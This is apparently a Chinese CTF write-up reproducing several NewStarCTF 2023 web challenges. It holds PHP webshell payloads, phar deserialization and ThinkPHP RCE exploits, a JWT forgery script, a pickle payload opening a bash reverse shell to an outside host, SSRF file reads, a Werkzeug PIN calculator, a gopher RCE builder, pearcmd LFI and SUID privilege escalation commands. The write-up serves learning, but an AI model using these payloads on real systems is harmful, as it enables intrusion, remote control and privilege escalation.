目录
[Unserialize Again](#Unserialize Again)
[Ye's Pickle](#Ye's Pickle)
Unserialize Again
f12告诉了我们cookie, 查看一下,可以发现 pairing.php
php
<?php
highlight_file(__FILE__);
error_reporting(0);
class story{
private $user='admin';
public $pass;
public $eating;
public $God='false';
public function __wakeup(){
$this->user='human';
if(1==1){
die();
}
if(1!=1){
echo $fffflag;
}
}
public function __construct(){
$this->user='AshenOne';
$this->eating='fire';
die();
}
public function __tostring(){
return $this->user.$this->pass;
}
public function __invoke(){
if($this->user=='admin'&&$this->pass=='admin'){
echo $nothing;
}
}
public function __destruct(){
if($this->God=='true'&&$this->user=='admin'){
system($this->eating);
}
else{
die('Get Out!');
}
}
}
if(isset($_GET['pear'])&&isset($_GET['apple'])){
// $Eden=new story();
$pear=$_GET['pear'];
$Adam=$_GET['apple'];
$file=file_get_contents('php://input');
file_put_contents($pear,urldecode($file));
file_exists($Adam);
}
else{
echo '多吃雪梨';
} 多吃雪梨
法一:(非预期)
不管前面的反序列化,直接利用 php://input ,猜测路径为var/www/html
GET: ?pear=/var/www/html/1.php&apple=1
POST: <?php eval($_POST['cmd']);?> urlencode一下
可以发现可以访问1.php ,
但是 cmd=phpinfo(); 却没有反应,啥也没有,不知道为啥,看别人的博客应该是可以的
尝试尝试传一个 1.txt, 里面的内容也可以显示出来啊
不晓得为啥1.php就是无法执行命令, 蚁剑也连不上,可能哪里出问题了 哎,太菜了
法二:
phar反序列化, file_exists()参数可控, 配合phar://伪协议 进行反序列化
需要利用的
生成phar文件:
php
<?php
class story{
public $God='true';
public $eating='ls /';
}
$phar=new Phar('1.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$a=new story();
$phar->setMetadata($a);
$phar->addFromString('1.txt','test');
$phar->stopBuffering();
需要绕过__wakeup() 在记事本中打开生成的phar文件,修改一下相关的数字,改大一点
因为文件的内容改了,所以签名也需要换一个
相关的脚本
python
from hashlib import sha256
with open("1.phar", 'rb') as file:
f = file.read()
s = f[:-40]
h = f[-8:]
newf = s + sha256(s).digest() + h
with open('newtest.phar', 'wb') as file:
file.write(newf)
利用python直接传
python
import urllib.parse
import requests
url='http://ba0133bd-772b-45c9-bcb2-3dbf95a23a5d.node5.buuoj.cn:81/pairing.php'
params={
'pear':'1.phar','apple':'phar://1.phar'
}
with open('newtest.phar','rb') as f:
f=f.read()
data=urllib.parse.quote(f)
# print(data)
res=requests.post(url=url,data=data,params=params)
# print(res.text)
没有成功,
想着直接将urlencode 后的数据直接放在浏览器POST里面传参,但也没成功,
bp抓包传, 也没成功, 真有点不理解了,已经懵了
流程应该是这么个流程, 也不晓得中间哪个过程搞错了还是咋的, 一直弄不了
先放这里吧, 哎!
Final
thinkphp的版本漏洞,先搜一下5.0的漏洞
网上搜到的一个, 但是用不了,可能具体的版本不一样,尝试使它报错,得到具体的版本情况
随便仿照写一个 /index.php?s=1
可以发现具体的版本,再搜索一下
https://www.cnblogs.com/--kisaragi--/p/15315131.html
要利用的漏洞点
可以看到执行了 phpinfo 函数
但是这里禁用了system函数,
离谱了,之前都还行,现在环境又不行了 , 一样的参数, 我真服了, 重启也不行
后面应该就是写马了 ,因为被禁用了system函数, 利用exec函数进行写马, 然后蚁剑连接
_method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]=echo '<?php eval($_POST['cmd']);?>' > /var/www/public/1.php
不过最后还需要suid提权, 使用这个命令寻找相关具有suid权限的命令
find / -user root -perm -4000 -print 2>/dev/nul
附上别人的几张张图, 可以用cp命令
/dev/stdout
:标准输出
直接将具有flag内容的文件复制到终端输出
流程应该是这么个流程, 环境可能有点问题, 没有复现出来
Ye's Pickle
python
# -*- coding: utf-8 -*-
import base64
import string
import random
from flask import *
import jwcrypto.jwk as jwk
import pickle
from python_jwt import *
app = Flask(__name__)
def generate_random_string(length=16):
characters = string.ascii_letters + string.digits # 包含字母和数字
random_string = ''.join(random.choice(characters) for _ in range(length))
return random_string
app.config['SECRET_KEY'] = generate_random_string(16)
key = jwk.JWK.generate(kty='RSA', size=2048)
@app.route("/")
def index():
payload=request.args.get("token")
if payload:
token=verify_jwt(payload, key, ['PS256'])
session["role"]=token[1]['role']
return render_template('index.html')
else:
session["role"]="guest"
user={"username":"boogipop","role":"guest"}
jwt = generate_jwt(user, key, 'PS256', timedelta(minutes=60))
return render_template('index.html',token=jwt)
@app.route("/pickle")
def unser():
if session["role"]=="admin":
pickle.loads(base64.b64decode(request.args.get("pickle")))
return render_template("index.html")
else:
return render_template("index.html")
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)
需要伪造jwt
使得 session['role']=='admin'
这个伪造的有点懵, 有点没怎么理解
python
import base64
from datetime import timedelta
from json import loads, dumps
from jwcrypto.common import base64url_decode, base64url_encode
def topic(topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['role'] = 'admin'
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
originaltoken ='eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MjA1OTk4OTAsImlhdCI6MTcyMDU5NjI5MCwianRpIjoiOGNmaV9BRWRsY3ViM1hsajJ5M0MwdyIsIm5iZiI6MTcyMDU5NjI5MCwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.Jkr3-2vXnQIpAtpuxHbvgcK0z2vFa-LOanqQLOtGutNH_5aeORAw6yryHUvvFFckzaTAoIakk0s-90RtnSJdYozK0LgJr64drolvvuqKtpjuaaLTT4yIXR63VcjMuGdCl3jLioUpnVOgq_v_JIyZ4OA9uRaUnGzCiX8Q-CJKPu9AAMNFFlBCsbTVS2iEqOj2SGap4jlfSSJVQpd4syJREQCOE2RfYFwLRZ9S6IzkUH_wJbRnxrKi7uCGUimIp4oC2qmnqp8CvhoLQVKHtDL6OmSRetIqI_YVh7z8WNjMshZvJzjMNB4ZyMrpW5NNJ7IHNqzaE_2InvtzUJGxFuSAjA'
topic = topic(originaltoken)
print(topic)
?token=得到的结果
然后再进入 /pickle路由 进行pickle反序列化
python
import base64
opcode=b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'"
tR.
'''
print(base64.b64encode(opcode))
看了一下session已经是admin了啊,
但用自己的服务器总是没能反弹shell成功, 一直连不上
又没能复现成功,不过多了解了一下jwt的伪造 和 pickle反序列化也还行
pppython?
php
<?php
if ($_REQUEST['hint'] == ["your?", "mine!", "hint!!"]){
header("Content-type: text/plain");
system("ls / -la");
exit();
}
try {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
curl_setopt($ch, CURLOPT_HTTPHEADER, $_REQUEST['lolita']);
$output = curl_exec($ch);
echo $output;
curl_close($ch);
}catch (Error $x){
highlight_file(__FILE__);
highlight_string($x->getMessage());
}
?>
根据要求传参 :?hint[0]=your?&hint[1]=mine!&hint[2]=hint!!
可以执行命令 ls / -la 列出目录及权限
注意lolita需要传参一个数组
前面所列出来的目录里面有个 app.py文件 尝试读取
ssrf漏洞 , 利用file://协议读取文件
python
from flask import Flask, request, session, render_template, render_template_string
import os, base64
#from NeepuF1Le import neepu_files
app = Flask(__name__)
app.config['SECRET_KEY'] = '******'
@app.route('/')
def welcome():
if session["islogin"] == True:
return "flag{***********************}"
app.run('0.0.0.0', 1314, debug=True)1
想着伪造session得到flag, 但好像伪造不了
又可以看到开启了debug, 可以计算pin值 ,进入到 /console 里面
依旧是利用file://协议 去读取所需要的文件
首先用户名 : root (前面执行的 ls 那块的命令可以猜测出)
modname 一般默认为 flask.app
appname 一般默认为 flask
app.py的绝对路径一般是通过报错得到,但这里好像无法得到
通过进入到debug里面得到 : /usr/local/lib/python3.10/dist-packages/flask/app.py
?url=file:///sys/class/net/eth0/address&lolita[]=
网卡的mac地址:(转十进制)
709723444170211
machine-id是由两个值拼接的:
?url=file:///proc/sys/kernel/random/boot_id&lolita[]=
aac85635-508f-4b5b-be84-c1a02d61f9f7
?url=file:///proc/self/cgroup&lolita[]=
cri-containerd-6c00d510dbe08bb97a736ca2f55e2d44366e57395f8ac2c1f212517883888c02.scope
题目应该出了点问题吧, 理论上不是应该是有个docker啥的啊
比如别人读取的文件, 应该是要有个docker然后再是后面的数字啊, 有点懵,感觉应该是环境变了
然后就是根据得到的信息计算pin值
直接拿别人的,改一下里面相应的值就行
python
import hashlib
from itertools import chain
import time
probably_public_bits = [
'root'
'flask.app',
'Flask',
'/usr/local/lib/python3.10/site-packages/flask/app.py'
]
private_bits = [
'709723444170211',
'aac85635-508f-4b5b-be84-c1a02d61f9f7cri-containerd-6c00d510dbe08bb97a736ca2f55e2d44366e57395f8ac2c1f212517883888c02.scope'
'8cab9c97-85be-4fb4-9d17-29335d7b2b8adocker-de0acd954e28d766468f4c4108e32529318e5e4048153309680469d179d6ceac.scope'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
def hash_pin(pin: str) -> str:
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]
print(cookie_name + "=" + f"{int(time.time())}|{hash_pin(rv)}")
后面的一些步骤就有点看不懂了,唉, 又没能复现出来
看这篇文章
NewStarCTF 2023 公开赛道 Web_[newstarctf 2023 公开赛道]genshin-CSDN博客
frm的值为0, 因为没有报错
访问一下console,获取s值
?url=http://localhost:1314/console\&lolita\[\]=
s=Khhv9IfiCVDYPR2GvauW
得用gopher协议来打,实现rce,脚本:
python
import urllib.parse
import urllib.request
cmd = 'whoami'
s = "KsDz7oqmCrFx5nOp8vKz"
host = "127.0.0.1:1314"
# cookie = "__wzddde03e10368497982792=1698651626|c9f35062072d"
pin = "113-575-700"
poc = f"""GET http://127.0.0.1:1314/console?&__debugger__=yes&pin={pin}&cmd={cmd}&frm=0&s={s} HTTP/1.1
Host: {host}
Connection: close
"""
new_poc = urllib.parse.quote(poc).replace('%0A', '%0D%0A')
res = f'gopher://{host}/_' + new_poc
print(urllib.parse.quote(res))
4-复盘
php
<?php
if (isset($_GET['page'])) {
$page ='pages/' .$_GET['page'].'.php';
}else{
$page = 'pages/dashboard.php';
}
if (file_exists($page)) {
require_once $page;
}else{
require_once 'pages/error_page.php';
}
?>
可以文件包含, 利用 pearcmd.php本地文件包含 写shell
payload:(套路格式)
?+config-create+/&page=../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+1.php
蚁剑连接之后会发现无法读取flag, 权限不够, 需要suid提权
使用gzip命令提权
gzip -f /flag -t
可以得到flag
NewStarCTF 2023 公开赛道 Web_[newstarctf 2023 公开赛道]genshin-CSDN博客
https://www.cnblogs.com/EddieMurphy-blogs/p/17813704.html
NewStarCtf 2023 week3&week4&week5 web部分题目复现_newstarctf include 馃崘-CSDN博客